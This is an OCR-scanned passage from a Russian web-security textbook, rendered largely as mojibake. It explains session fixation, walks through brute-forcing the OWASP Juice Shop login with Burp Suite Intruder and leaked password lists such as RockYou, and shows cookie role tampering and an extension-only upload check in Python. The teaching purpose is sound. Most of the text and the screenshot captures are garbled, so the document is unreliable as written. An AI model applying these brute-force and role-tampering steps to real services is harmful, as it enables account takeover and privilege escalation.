IIETO UX UCIIOJb30BaHUA JIA IOJTyYEeHU JJOCTYIIa K aKKayHTaM I10JIb30BaTEIEH.

Crenytomas yss3sumoctb — ukcanust ceccun (Session Fixation) — ato Tum ataku,
[PU KOTOPOI 3JI0YMBIIILTIEHHUK (DUKCUPYET UAEHTH(PUKATOP CECCUU JKEPTBBI TIEPE]T
ee ayrenTudukanueil. [locse Toro Kak ;kepTBa BXOAUT B CHCTEMY, 3JI0YMBIIIJIEHHUK
UCIIOJIb3YET MPeBaPUTENbHO (DUKCUPOBAHHBIN UIEHTU(MUKATOP CECCUU [JIS TIOTY-
YEHUSI JIOCTYTIA K €€ aKKAYHTY. DTO BO3MOKHO, €CJIU BeO-TIPUIIOKEHUE HE U3MEHSIET
ueHTIH(UKATOP CECCUU TTOCTIe Ay TeHTU(MDUKAIIUY TT0Tb30BATEIS.

3BYUYUT 3aIlyTAaHHO, TO3TOMY PACCMOTPUM KOHKPETHBIH ITPUMEP TI0 I1aram:

1) 3J0YMBIIIEHHUK NOCEIAET BeO-TIPUIOKEHNE U OTydaeT HACHTUDUKATOP cec-
cun (sessionid=12345);

2) 3aTeM OH OTHpAaBJISIET KEPTBE CCHUIKY Ha BeO-IPUIIOKEHIe, B KOTOPOI CO-
nepsxkutcsd pukcupoBaHHbll npeHTudurarop ceccun (http://example.com/
login?sessionid=12345);

3) KepTBa IEPEXOUT T10 CCHIJIKE W BBOJMT CBOM YUETHBIE IaHHBIE JIJI BXO/IA B CU-
CTeMY;

4) BeO-TIpUIIOKEHYE ayTEHTU(DUIUPYET JKEPTBY, HO UAEHTU(DUKATOP CECCUU OCTa-
€TCA HEM3MEHHDBIM;

3) BJIOYMBINIUIEHHHUK TETeph MOXKET MCIIOJIb30BATh (GMKCUPOBAHHBII HAEHTUDUKATOD
ceccun (sessionid=12345) ms focTyma K aKKAyHTY KEPTBBI.

[Toxpobuee paccMoTpuM aTaky nepebopom. Yrobsl nomxobpats maposb k OWASP
Juice Shop, uctionbayercst yrumta Burp Suit. OHa BXOAMT B cTaHAapTHYIO COOPKY,
U ee BCeT/la MOKHO HAalTH B O(DUIIMATBHBIX PEIIO3UTOPHSIX.

Burp Suite — 5T0 MHCTPYMEHT JIJIst TECTUPOBAHUS HE30MACHOCTH BEO-TIPUIOKEHUTH,
paspaborantbiii kommanueii PortSwigger. OH mmpoko UCTOIb3yeTCst B HHYCTPUH
6e30TMaCHOCTH U ABJISAETCS OJHUM U3 OCHOBHBIX MHCTPYMEHTOB JIJIst TIPOBECHUS
TECTOB Ha MPOHUKHOBEHUE U ayANTOB Oe3omacHocTu. Burp Suite, B otsinune ot ZAP,
ycranosien B Kali Linux 1o yMoJdaHuio 1 peaocTaBisieT psa QyHKIUN, KOTOpbIe
MOMOTAIOT CYIIECTBEHHO OOJIETYUTh JKU3HB CTIEIUATUCTAM 1O GE30MaCHOCTH.
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OcHoBHbIe KOMTIOHEHTHI Burp Suite:

e Proxy. [To3BoJisieT epexBaThIBaTh, IPOCMATPUBATH U MOU(PUIIUPOBATH Tpauk
Mesky OpaysepoM U BeO-IIPUIoKeHeM. ITO YIPOIIAET aHAJIU3 3allPOCOB U OT-
BETOB, a TaKKe MO3BOJISIET BHOCUTHh UBMEHEHUS B 3aIIPOCHI JIJIs1 TECTUPOBAHUS
YSI3BUMOCTEH.

e Spider. ABTomaTuuecku 00XOAUT BeG-TIPUIIOKEHIE, cOOUpas WHHOPMAIIUIO
0 ero CTPYKType U GYHKIMOHATBHOCTH. ITO MOMOTAeT UACHTH(DUINPOBAThH
KOHEYHBIE TOUKH, TAPAMETPBI U IPYTHE SJIEMEHTBI, KOTOPbIE MOTYT ObITh IIEJIbIO
JUUIST ATak.

e Scanner. ABTOMaTUYECKH CKaHUPYET BeO-TIPIJIOKEHNE Ha HAJIITUIKE YSI3BUMOCTEH,
OH uCIOJIB3YET Psiji TECTOB JIJIsI IPOBEPKU HAJTUYUS TAKUX YSI3BUMOCTEN, KaK
SQL-uabexumn, XSS u T. 11.

e Intruder. HpelIOCTaB]IHeT BO3MOXHOCTb HaCTpOfIKI/I 1 aBTOMaTU3allu1 aTaK Ha
B66-HpI/I]IO>K€HI/IH. ITO TOJIE3HO JIJISI BBITIOJTHEHM A Hepe60pa HapOJIef/,I, aTaKn Ha
JIOTUKY NPUJTOKEHUA U MHOTUX APYTUX.

e Repeater. TTo3BoJIsIET OBTOPATH 3alIPOCHI K BEO-IIPUIOKEHHIO ¢ PA3IUYHBIMU
rmapamMeTpaMH, YTO YIIPOIAeT IIPOIECC TECTUPOBAHUA U OTJIANKU.

e Sequencer. AHaJIM3UPyeT BBIOOPKY TOKEHOB Ha HAJIMYKE YSI3SBUMOCTH B TeHEPATO-
pe CIyJaiiHbIX TTocIe/IoBaTeIbHOCTEH. MOKET UCTIOIb30BaThCSI JIJISl TECTUPOBAHUST
JIFOOBIX TOKEHOB, 3HAYEHUE KOTOPBIX TEOPETHYECKI HEBO3MOKHO MPEICKa3aTh, —
tokenos ceatca, AHTU-CSRF (Cross-Site Request Forgery), copoca napoust.

e Decoder. Kogupyer u nekogupyer ganmble, mpeodpasys pasandibie (OpMaThL:
URL-konupoBanue, Base64 u 1. /1.

[ ] Comparer. CpaBHI/IBaeT /Ba Ha60pa JaHHBIX, BbIABJIAA PA3JIUINSA MEKIY 3alIpO-
CaMM 1 OTBETaMM.

Burp Suite gocryten B aByx Bepcusix: 6eciiiatioil (Community Edition) u muaTroit
(Professional Edition).

Terepb, KOT/Ia y HAC €CTh HYKHBI HHCTPYMEHTAPHIT U 1[eJIEBOU CAIAT, TIOIPOOyeM
noz00paTh JIOTUH U IapoJib, UCIIONb3ys ¢hopMy ayrentudukamuu Juice Shop. dus
Hayaja BaM HeoOXoAuMO BbliiTu us ZAP, eciiu, KOHEYHO, OH y Bac 3amyiieH. Terepb
3amyctuM Burp Suite. /lesio B Tom, uto ZAP 1 Burp ncnosib3yor o1uH 1 TOT 5Ke TOpT
IUIST TIPOKCH-cepBepa. KoHewHo, ero MOYKHO TOMEHSITh — BBIOOP OCTAETCS 32 BAMH,
ABTOP HE HACTAWBACT HA YETKOM CJICIOBAHUM TIPUBEJICHHBIM 3/I€Ch TPUMEPaM U JTaKe
[PUBETCTBYET OTCTYIJIEHUS OT HUX.

ITpeaiooKM, 4To HAaCTPOIKHU Opaysepa y Bac COXPAHUINCH; ECJIU HET, TO CKOH-
(urypupyiite ero amsa ncnospzoBaHusd mpokcu-cepsepa Ha mopte 8080. anee
HaM HEOOXOAMMO TOJATOTOBUTH CIIUCOK C UMEHAMU MOJIb30BaTEIeH 1 CIUCOK
napoJieit.

CyH_[eCTByeT MHO’KECTBO CITICKOB C UMEeHAMM TI0JIb30BaTe el 1 MapoJIAMH, KOTOPbIE
YaCTO UCIIOJIb3YIOTCA B T€CTaX Ha IIPOHUKHOBEHWE U TIPU BBIITOJTHEHUHN aTakK Iepe-
60pOM. Bor neckonbko HanboJee TTOITYJIAPHBIX CITUCKOB!



C6ol naeHTUdUKaLMM 1 ayTeHTUbMKaLUm 233

e Rockyou.txt. ComepkuT 0K0JI0 14 MJIH TTapoJield, KOTOpbie OB YKPaJeHbI BO
BpeMsI B3jioMa coluasibHoii cetn RockYou 8 2009 roay. OH IIPOKO UCIIOJIBb3YETCST
M3-32 CBOETO pa3Mepa U 13-3a TOTO, YTO B HEM ITPeJICTABJIEHbI TIAPOJIH, IPIMEHSI-
eMble pealbHBIMU MTOJIb30BATEIISMU.

o SeclLists. ITo HAGOP PA3TMIHBIX CITUCKOB, BRIOYAST NMEHA TTOTb30BATENTEeH, Tapo-
s, URL-anpeca, ommbouHbIe BBOIBI I MHOTOE IPYTOE. ITH CITICKH MCTIOTb3YI0T-
CsI J71sT TeCTUPOBaHusI Ge301aCHOCTH, aTak 11epebopoM 1 IPYTHX 1eseil. SecLists
nocrynnbl Ha GitHub https://github.com/danielmiessler/SecLists.

e John the Ripper Wordlists: John the Ripper. I[Tonynsipablit HHCTPYMEHT JJIsT
BOCCTAHOBJICHUST MAPOJIEH, pazpabOTUNKU MTPELOCTABISIOT CBOU COOCTBEHHbIE
CIIMCKY TTapoJiell 1 MEeH MoJIb30BaTesel. DTH CIMCKUA MOKHO HAHUTHU B KaTajsore
wordlists ycTaHOBIEHHOTO MHCTPYMEHTa I Ha oUInaIbHOM caiite https://www.
openwall.com/john/.

e CrackStation. CrackStation rpegocTaBJisier CIIMCOK HapoJiel, CoaepKalluil OKOJI0
1,5 MJIPJ 3an1/1ce171, TIOTYY€HHDBIX TIPpU PAa3JIMIHBIX yTe€dKaxX TaHHbIX. OH AOCTYIIEH
[ 3arpy3Kku ¢ ouImasbHOTO caiita https://crackstation.net/buy-crackstation-
wordlist-password-cracking-dictionary.htm.

e Common Usernames. [[sist mepebopa MMEH T10JIb30BaTeNEl OOBITHO UCHOJIB3Y-
I0TCSI CITMCKH, coJiep Raliue obie uMeHa moJb3osatesneii (admin, root, user
u T. 1.). Bbr MokeTe HaliT Takue criucku B Habope SecLists uin cosmaTh cBOM
COGCTBEHHBII CMCOK, OCHOBAHHDIN Ha WH(MOPMAIINN O TI€TIEBOM TIPHIOKEHUH
WJIN CUCTEME.

O/1HAaKO yYTHTE, YTO TOTOBBIC CITUCKU COJICPKAT OYeHb MHOTO 3amuceil. [Ipu ux mc-
MOJIb30BAaHUK B PEATbHO KU3HU Bac OBICTPO OOGHAPYsKAT U 3a0JIOKUPYIOT, CKOpee
BCETO, Jla’ke B aBTOMATUYECKOM pekuMe. Ilepebop HeOOXOANMO OCYIECTBAATD
MeJIJIEHHO, JIYYIlle BCEro UMest BXOAHbIe JaHHble, HAlprMe]p JIOTHH. BbI 5ke X0opoIno
IIPOBEJIU PasBeKy Hepe HamageHneM? MHOKEeCTBO pas noadupas MapoJib K OJHOMY
U TOMY K€ aKKayHTY, HeOOXOAUMO IIOMHUTD O TOM, YTO CUCTEMA MOKET IIPOCTO 32010~
KUPOBATh JAHHBIN aKKAyHT MOCJIe, HATPUMED, TIATON MOTBITKY (eCTN 0HA, KOHEYHO,
MPaBUIBHO CKOH(PUTYPUPOBAHA).

[lns nanHoTrO IpUMepa MOJr0TOBJIEH CIIMCOK JIOTMHOB Users.txt, a CO3/JlaHHOMY CITH-
CKY C MapoJIsSIMU TTPUCBOEHO TOBOpAIIlee Ha3BaHue pass.txt. B aTux daiinax kaskaas
3aIUCh HAXOAUTCS Ha CBOEi cTpouke. /lasee Mbl Gy/leM HCIOJB30BaTh KMEHHO UX.

Wrak, mocsie 3amycka Burp mepeiizieM B HACTPOUKHU M BKIIOYUM MPOKCHU-CEPBEP
(Settings » Tools » Proxy) (puc. 7.14).

Teneps nonpobyem ayTeHTUDUIMPOBATHCS B HAllleM MarasuHe COKOB, HUCIIOJIb3YsI
JIOTWH U TIapOJib, MOKHO Jaske HeBepHBINA. [loce aToro MbI cMOKeM OTCIeIUTh CO-
enuHeHUs B Burp, B aToM 1utate ol paboraet anasornuato ZAP. [lyist atoro nepeiiem
BO BKJIA/IKy Proxy u orkpoem HTTP History. Haxoaum Hanr POST, HaskumaeM mpaByio
KHOIIKY MBIIIU U BbiOupaeM napamerp Send to Intruder. Tem caMbIM Mbl HHCTDPYK-
TupyeM Burp ucrnoJsib3o0BaTh faHHbIE U3 OTMEYCHHOTO 3a1TPOCa /IS BBITTOJTHEHUS
noceayioiei ataku (puc. 7.15).
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Satinga [= 4
[Search p Teols » Promy Manage global settings 1
@D U (Fopa) T * (@ Prosy listeners Proeet aitiing

@ Burp Proxy Iz g HTTF from your browser. You will need 1o configuie your browser to use one ol the listeners.
~ Tools a5 s presey sorver
| Add || Running Intartace Iwisiia Rpchract Cartficatn LS Protocols.
[ Em || B 2700160 Per-host Delauit
[ Tonoms ]
Sequencer - Reoon ] »>
Burg's bvowser
3 Preet
Sassions
+ Hatweork Each i o i y negotiating TLS Yo can import o export
this, certficate lor use in ather tools o anather installation of Burp.
+ Usar mherlace
: | import £ export CA certricate || Aegenerate CA cerficate |
Extersions
() Request interception rules Project setting
I Corqurabon libary @ u ; . wawing and editing in roept lab.
[ totocnpt recpassts biased on v tollomeg subes
|__Add || Enabled  Operator  Neasch type Hglationshi Condition |
| Emt | [} il extenson Does not rmatch (otSrippi oSt caadissticos. |
T 3 0O o Contains parameters |
|Remcwe || 7 or WTTR method  Does not match lgetiposs) 13
o )| O & (8 s in targat scope |
| Down | |
0 2 missing of Supsruous reew i d of rogy
8 Automasically updatn Contens-Longth header when the requess is edaed
v
Pwuc. 7.14. HacTtpoiikn npokcu B Burp
nmmncmmrumw.\u.nmnym o x
Hum Propet Feude fspsatr Window  Hep
Dashboaed  Taget  Frooy  bruder  Aepeater  Sequencer  Oeooder  Comparer  Logger  Exdensions  Leam @} Settings
Intarcopt HTTP hstory  WabSockets hisseey 1B} Prosey satings
Fiter: Hiting C55, ivsagee and geneesl binary content ]®
- Host Method wAL Paams Edied  Status  Length MIME type Extensen Title Comment | TLS P
1 rEpialndon GET  Imstiadminiappiication-contigurat 12011
P rEpilndon FOST  mstiusarioge v 11011
3 rEpilndzon GET  mstiusanwhoami 121011
4 repialnazon GET  mstiusenwhoami 121011
5 hEpialaz0n GET  mstiusenwhoami 121011
5 POST  imstisoriogn 7 P ——— 17011
T repdaldon GET  Jmstiusenwhoami itprifkal- A2 m RS Arag R ) 121811
B repialnazon POST  mstiuseriogn F Hadd b scope 121011
5 bepifalid2000 GET  festiusenwhoami Sean 21011
0 bepifali42000 GET  festiusenwhoami . o 21011
1 bepiali42000 POST  festiuseriogin + ol b nknstor el 127001
12 bl A2000 GET  Irestluserwhoami Send 10 Repeater Cul+R 27011
i nar P v Send th Sequancer | dnanas
Send to Comparer ==

Request Rpques? in bowsse :.“" L

Presty  Raw  Hex Engagement tools [Pro version only] ? 3t attrioutes. 2 w

1 POST frestiuserslogin MTTES1.1 Sheow new history window b

2 HMost: kald:4zeas Add comment 51 cnokies. 4 v

3 User-Agent: Mozillass.® [X11; Linue x86_64; rv:102.8) Gecko/20180101 Firefox/102.8 Hightight q!

4 Accept: applicationfjson, text/plain, *r* it hmadurs n -

5 Arcept-Language: en-Us,en:qed.5 Dl tem |

& Accept-Encoding: geip, deflate Cloar history

7 Content-Type: application/json Copy URL

& |Content-Length: 45 Copy an cul command

% Origin: http:/rhaliiszeoe Sare e

10 Connection: clase
11 Referer: hutpsf/kaliza2oeas Prosoy history documesiaticn
12 Cowkie: languaq, 1 b _ dismiss; t |
4 1R RTIY 1bLookn; ceaki st dismi
13
144
emai1®:"test legin®,
“panawerd® T test pass”
)
@B [¢][3] [Sewrch. | 0 matches

Puc. 7.15. POST-3anpoc € TI0rMHOM v naponem

Teneps BocmoJib3yemcst BTOpbiM KoMioneHTam Burp — Intruder. Orkpoem

€ro

" TiepelizieM Ha BKJIAAKY Positions. M1 BuanMm Hatn 3anpoc, a Burp aBromatndeckn
MIPOAHATU3UPOBAJ €T0 U OTMETHJI MeCTa, KOTOPbIe MOTYT ObITh UCIIOJIb30BAHbI JJIsk
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ataku (puc. 7.16). Ho MpI-TO mydiiie 3HaeM, 4To HaM Hazlo0, — HaxkmeM KHorry Clear §,
U 9TO BEPHET BCe B UCXOAHOE cocTosgrue. Harell 11eibio sBJisieTcs moa0op JIOrHA 1 I1a-
POJIsL, ¥ I0ATOMY MbI OyzieM paboTaTh TOJIBKO € ABYMS HOJISIMU, He TPOrasi OCTaJIbHbIE.
Hawm Heobxomrmo coobinTh 06 arom Burp. luist atoro BeizessieM 3Hadenue test login
B ioJie email u HaskumaeM KHOTIKY Add 8. Terreps mrpoziesibiBaeM TO ke camoe ¢ password.

Burp Suite Community Coition v?023.1.2 - Tempaeary Project 0 w
Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger @ Settings
Extensions  Leam T

2x 4 2l
mm Payloads Hesource pool Selings
(%) Choose an attack type | siaratiack |
Attack type: | Cluster bomb -

() Payload positions
Configure the pasitions where payloads will be inserted, they can be added into the target A3 well A= the base request

Add
Target: |mrp-mm|i-4mo | Ed Update Hast headar to match targot g
[ Clears
1 POST /rest/user/login HITF/1.1 |T’§
2 Hast: kali:a2ea8
3 User-Agent: Mozilla/5.® [X11; Linux x86 64; rv:102.8) Gecko/20100191 Firefox/1ez.e |m
4 Accept: applicationsjson, textfplain, *4% ——
5 Accept-Language: en-US,en;gq=g.5
6 Accopt-Encoding: geip, deflate
7 Content-Type: applicatien/json
& Content-Length: 45
9 Origin: http://kali:azess
18 Connection: close
11 Referer: http://kali:azeee/s
12 Cookie: language=cn; welcomebanner_status=dismiss; continueCode=
qomrF Z0eWEBYpM] Txi8oHNWALINTRSySavex21bLODkwIN: cookleconsent_status=
dismiss
13
14 {"email®:"Stest logink", “password™:"Stest passi™}
@@} |(_-||i |59m... | 0 matches [ Clear
2 paylond positions Length 676

Puc. 7.16. BoiaeneHHble nosisi, npeaHasHayeHHble AN AanbHenwen ataku

[Ipesk/ie ueM MBI MOI/IEM JaJIbIIe, CTOUT YIOMSIHYTh eliie 00 OJIHOM TI0JIe, 3 UMEHHO
o turie ataku. B Mozyse Intruder npeiycMOTpeHbI YeThIpe PasJnyHbIX THIIA aTak,
KOTOPBIE TIO3BOJISIIOT IPOBOANTD PA3HOOOPA3HbIE TECTHI HA MTPOHUKHOBEHME:

e Sniper. Ucmonbayercst, Korjia TpedyeTcst BCTaBUTh Pa3JINYHBIE 3HAYCHUSI B OJIHY
U Ty JKe TOYKY BCTaBKuU (IlapaMeTp WJIM 3aroJIOBOK). Sniper nepebupaer Bce
MIPEZI0CTaBIEHHBIE 3HAUEHWS (M3 CTOBAPS MJIN CITMCKA ) Y BCTABJISIET UX MO OTHOMY
B YKa3aHHY0 TOYKY BCTABKH. DTO MOKET OBITh TIOJIE3HO JJIst Tiepebopa mapoJiei,
MOKCKA YSI3BUMOCTEN B IapaMeTpax UJIN 3ar0JIOBKaX U T. JI.

e Battering Ram. B otsinume ot Sniper, Battering Ram onnoBpemMenHo BcTaBisieT
OJIHO ¥ TO JKe 3HAYeHIe BO BCE YKA3AHHbIE TOYKU BCTABKU. ITO MOKET OBITH
MOJIE3HO B CUTYAIIUSIX, €CJIW BBl XOTUTE MTPOBEPUTH B3aNMO/IECTBUE MEXIY
Pa3IMYHBIMU TTApaMeTPaMU MJIN TIOMBITAThCST BCTABUTH OIHO U TO K€ 3HaUeHe
B HECKOJIbKO MECT 3aIpoca.
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e Pitchfork. Micriosbayer aBa pasjinuHbIX CIIUCKA 3HAUCHUH, OMH JIJIsT KKI0i U3
JBYX TOYEK BCTABKU. 3HAYE€HU U3 000X CIIMCKOB BCTABJIAIOTCA Iapa/ljiesIbHO,
OJIHO 32 IPYTHM. ITO MOKET OBITh II0JI€3HO, ECJIH Bbl XOTHUTE IPOBEPUTH KOMOM-
HaIlUW 3HAYEHUI JIBYX MapaMeTPOB, HA[PUMeD UMEHHU T0JIb30BaTe ST U TTapOJisd
npu 1epedope y4eTHbIX JaHHbIX.

e Cluster Bomb. Cosmaer u nposepser Bce BO3MOKHbIC KOMOMHAIMY 3HAYCHUI
JUIST HECKOJIBKKMX TOUeK BeTaBki. OH reHepUpyeT 3arpochl, KOMOUHUPYS KaxkK10e
3HAYEHMEe U3 CIIMCKA /I IePBOI TOUKU BCTABKU C Ka)KIbIM 3HAUECHMEM CIIUCKA
LI BTOPOM TOUKK BCTaBKH U T. JI.

B Hamem cirydae He0OXOANMO MIPOBEPUTH BCE BO3MOKHbIE KOMOMHAIIUU JIOTHHOB
1 MapoJieil u3 JIByX pas3JIMuHbIX CIIMCKOB, T0aTOMY B 1tosie Tut ataku (Attack type)
HeoOX011MOo BhIOpaTh 3Hauenue Cluster bomb.

A T/1e ’Ke CTIUCKHU, CIPOCUTE BbI, MBI UX cO3/1aBasiu 3psA? Het, oHM HaMm ompeiesieHHO
norano0stest. Tepeiinem Ha Braaaky Payloads (puc. 7.17). TTo yMoJuaHuo y Hac BbI-
Gpat Payload set: 1. 3arpys3uM B HETO CIIUCOK ¢ UMEHAMM T10JIb30BaTEIEH, I1JI 9TOTO
Ha’KMeM KHOTIKY Load n ykaskeM panee co3ianublii (haiin users.txt.

Burp Sut Gommungy Editen v2023.12 - Temporary Project - o =
Bup  Pemject Intrudor  fapastar  Window  Hala
Dashboard  Tagel  FProxy  Inbuder  Repealer  Sequemcer  Decoder  Comparer  Logger  Exlensions  Leamn &) Sellings
2t + Qi
Positions  Payiads  Resource pool  Settings
(3) Payload sets
You can debine ane of more payload sets. The number of payload sets depends on the sttack type defined in the Pesitions tab, V. payfoad types are [ set, and each payload type
can be customized in dfiernt ways.
Payload set: [ 1 ¥ Payioad count. 7
Payiaad typa: | Simpl st w|  Request count: 35

(7) Payload settings [Simple list]
Thits payboal type lets you conbgure a simgie kst ol siings that ans used as payioads.

Paste | hol@ss.com

|
—— lanis@og lr
[_tosd..  |licaigtast.oom
| Remove | [Aik@inike.com
|= tnstEHtASE Com *

| Add || Erstir & new itom

Add treen list .., [Pro veesion only|

(3 Payload processing

You can deboe rubs b o taska on btore it i3 uded.
[ Add || Enabiea ™
[ Ede ||
| remom ||
»

__w ||
| |

|

Puc. 7.17. 3arpy><eHHble CrUCKn

Tertepp momensiem 3Hauenne Payload set Ha 2. 11 mpozesaem Bce TO ke camoe /it
CIIMCKA C IIapOJISIMU.

Haunewm araxy. /I7is1 91010 pazpaboTduKu CIEIUaIbHO MPELYCMOTPETN OOTIBIITYTO
OpaHIKEBYIO KHOIIKY C HaJIIHMChIO Start attack. B mosiBuBIIeMcst okHe Mbl yBUIUM, Kak
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Burp nezanTiaHo repebupaeT Bce BO3MOKHbIE KOMOMHAIMN JIOTHHOB 1 apoJieil u3
JIBYX CIIUCKOB.

ITocsie oxonvanus nepebopa MpoaHAIU3UPYEM Pe3yIbraThl. Y OOJbIIMHCTBA 110-
MBITOK B ToJie Status crout 401. DT0 cTanAapTHBIN KO/, Mcoab3yembrii B HTTP-
IPOTOKOJIE It 0003HaYeHIs HeyauHoil ayreHTrdukanm. OMHAKO ecTh OHA
notbiTKa co crarycom 200 (puc. 7.18). ITo 03HauaeT, 4YTO JTaHHAS MTapa UMEHU T10JIb-
30BaTeJIsI U MapOoJist 0Ka3aIach MPABIJIbHOM.

8. Inbruder altack of bl alid 2000 - Temporary atlack - Nol saved o project ile = [m] "
AMtack  Save  Columns
Results Positions Payloads Resource pool Settings

| Filtar: Showing all items |®
Request -~ Fayload 1 Fayload 2 Status Emor  Timeout  Length Comment
25 nike@rnike.com lesl1234 401 O ] 385

7B teatigtest com test1234 4m O O aHs

2 testi@test.com testl234 401 O O 385

28 testl@test.com test1234 200 ] ] 1185

29 lol@ss com gfgedis 4M L L] a6s

30 Janisi@org. v gdigdts 401 O O 3

31 test@test.com qdigdis 401 M M 385

32 nike@rnike.com gdlgdfs 401 O ] 385

Ex] teati@test com qrifeta am O O s

Request Response

Prelly Raw Hex Render B nr =

1 HTTP/1.1 280 0K

7 Access-Contral-Allow-Origin: *

3 X-Lontent-lype-Uptions: nesniff

4 |X-Frame-Options: SAMEORIGIN

5 Fealure-Policy: paymenl “sell”

& X-Recruiting: /#/jobs

{ Content lype: application/jsen: charset-utf 8
& Conlenl-Lenglh: 827

9 FTag: W/"33h-vFVAMW=11 BFv6SATv? 15x7OGRSY"
19 ¥ary: Accept-Lncoding

11 |Date: Sat, 13 May 2823 12:19:52 GMT

12 Conneclion: close

14 {
“aulhenlicalion”:{
"token”:

3 EJ E| | Search 0 matches

Finished

Puc. 7.18. Pe3ynbtathl ataku

B nanHOM mipuMepe MBI IPOCMATPUBAJIN PE3YJIBTAThI TOMCKA BPYYHYIO, OJTHAKO TTOM-
HITE, YTO B Burp ects hyHKIINYM (GUIBTPAIINN U COPTUPOBKH, He IpeHeOperaiTe NMu.

Ownbkn nposepkun LenoctHoctn MO n AaHHbIX

B coBpemenroM Mupe pazpaboTku 11O TPUHITO TPUAEPKUBATHCS OTPeIeTeHHBIX
cranmaptoB. HekoTopble 13 HUX pa3pabOTaHBbI € MeTbIo 06JETIUTh U YCKOPHUTH TPO-
necc cospanus I1O. ITpu gaHHOM 1oX0/1€, KaK, HanpuMep, B Agile, ocob6oe BHUMaHNe
VIEJSIeTCst TIPOBEPKE CO3/IaHHOTO KOJIa, apXUTEKTYPhI 1 JIOTUKE paboThl. OIHAKO He
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BCET/Ia 9Ta MPOBEPKA BBITOTHSIETCST IOTKHBIM 00Pa3oM, UTO W TIPUBOJINT K MOSBIIE-
HUIO psAZla YA3BUMOCTEN.

I[TenocTHOCTD TAHHBIX KpaiiHe BakHa 11T obecTieden st 6e30MacHOCTH 1 HAIEKHOCTH
BEO-TTPUIIOJKEHNUT, TOCKOJIbKY €€ HapyIleHne MOXKET TIPUBECTU K HETIPEICKAZYEMOMY
MOBE/ICHUIO CHCTEMBI, yTeuke KOH(MUICHITNATbHON MH(GOPMAITUHU NN BO3MOKHOCTH
MaHUTTYJISIITAY TAaHHBIMU.

ITpoGJIeMBI ¢ TIETIOCTHOCTBIO TPOTPAMMHOTO OOECTIEYEH ST 1 IAHHBIX MOTYT BO3HUKATD
113-3a PA3INIHBIX (PaKTOPOB.

HenpaBnJleaﬂ BaJauganusga BXOJAHbIX JaHHBIX. Ecan Be6-HpI/IJIO>KeHI/Ie He TIpoBe-
PSET BXOJIHDIE JaHHDBIE Ha KOPPEKTHOCTD, 3JIOYMBITIJIEHHUK ITOJTy4Ya€T BO3SMOKXHOCTD
BHE/IPHUTH HEIIPpaBUJIbHbIC NJIN BPEIOHOCHBIC /TaHHbIEC, KOTOPbIEC MOTYT IMOBJIUATH Ha
IIEJIOCTHOCTD CHCTEMBI.

Hanpumep, paspaboTunKi MOTYT HEJMKOM TI0JIaraThesl Ha MH(OpManuio us daiiia
cookie, a Mbl TOMHUM, YTO OH XPaHUTCS JIOKAJbHO Ha KOMIIbIOTEPE MOJb30BATEIsI
U JIOCTYIIEH I pefakTupoBanus. [Ipeanonoxum, Beb-IPUIoKeHue UCI0Ib3Y -
eT CJeAYIONIYI0 CTPYKTYpy cookie ajist xpaHeHust HHOOPMAIUU O [0JIb30BaTee:
user_id=1234; role=user; session_id=abcd1234. 3yiechb user_id — upenTuduKaTOp
10JIb30BATeIs, role — ero poJib B cucreMe (OObIYHbBIN 110JIb30BaTEb WK aJMUHU-
cTpaTop), a session_id — njeHTU(GUKATOP CeCCUN.

3JI0YMBITIJIEHHUK, UMEST JIOCTYTI K aKKAYHTY OOBIYHOTO MOJIb30BATE ST, MOJKET T10-
[BITAThCS U3MEHHUTH 3HaUeHHE role ¢ user Ha admin, 4TOOBI OTYYNUTH JOCTYII K a/[MHU-
HUCTPATUBHBIM (DYHKIUAM BeG-nipuioskenst. Ecim Be6-npuiiokenne He mpoBepseT
U He MOJATBEPIKIAeT 3HAUCHUE POJIN Ha cepBepe, 3IOYMBITIIJICHHIK MOKET YCIIEITHO
MOBBICUTH CBOW MPUBUJIETUN U TTOJYIUTH JIOCTYI K UyBCTBUTEIBHBIM JIAHHBIM WJIN
bynkimsaM, npeiHasHaYeHHBIM TOJBKO 711 IMUHUCTPATOPOB.

OumoKu pu 00padoTKe AaHHbIX. HekoppexTHas 06paboTKa TaHHBIX — HEIPaBIIb-
HOe npeobpa3oBaHKe TUIIOB WM HENPaBU/IbHOE UCIO0JIb30BAHUE aJITOPUTMOB — MO~
JKET IIPUBECTU K HAPYIIEHWIO EJIOCTHOCTU JIaHHBIX.

[TpuBesemM npuMep aTaku ¢ UCIOJb30BAHMEM HEIPABUIBHOIO MPeobpa3oBaHust
TUTIOB B (DYHKIMU 3arpy3ku (aitnos. [IpemonoxkM, y HaC eCTb BeO-NPUIOKEHHE,
KOTOPOE MO3BOJISIET TOJIB30BATEISIM 3arPy-KaTh U300paskeHust. BeO-npuioxeHe
MPEJINOJIAaraeT, 4To Bee 3arpyskaeMbie (hailsibl SBIstioTest n3obpaskenusimu. OHO mpo-
BepseT pacimpenue daiisia (Hapumep, .jpg Uin .png), HO He TIPOBEPSIET CONEPKIMOE
daiira. Bor npumep koja Ha siabike Python:

def upload_image(file):
file_extension = os.path.splitext(file.filename)[1]
if file_extension not in [".jpg", ".jpeg", ".png"]:
return "Invalid file type"
save_image(file)

3JIOYMBIIIVIEHHNK MOSKET BOCTIOJIb30BATHCS 9TUM HEJIOCTATKOM, MOJIMEHSIST COZIEPKHU-
Moe daitma. Harmpumep, arakytomuii co3gacT BpelOHOCHBIN (hails ¢ paciimpeHnemM
JPg, colepsKaliuii NCIIOMHsIeMbIIA KO/ (CKPUIIT Ui OUHAPHBII (haii), KOTOpbIi Oyaer
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BBINOJIHEH Ha cepPBepe UM Ha KOMIIbIOTEPE JAPYTroro moJbsosaTe . Eciu cepsep uimn
MOJIb30BATENBCKOE MTPUIOKEHNE HETPABUIBHO MpeobpasyioT Tuil daiina (To ecTh
06pabaThIBAIOT €r0 KaK N300paKeHue, a He UCIOTHAEMBIN KOJT), 9TO MPUBEIET K BbI-
MOJIHEHUTIO BPEZIOHOCHOTO KO/Ia U KOMITPOMETAIINY CUCTEMBI.

Hel[OCTaTKI/I B KpnnTorpaquecmnx CucremMax. HGKOPPEKTHOG NCIIOJIb30OBaHHE
KpI/IHTOI‘pa(bI/I‘-IeCKI/IX AJITOPUTMOB M ITPOTOKOJIOB TaKyKe€ ITPUBOJAUT K HAPYIICHWTO
KOH(bI/IlIGHHI/IaJIbHOCTI/I 1 IIEJIOCTHOCTH JTaHHBIX.

¥YA3BMMOCTH B CTOPOHHUX KOMIIOHEHTaX. B coBpeMeHHOM MuUpe, I/ie Ba)KHa CKOPOCTh
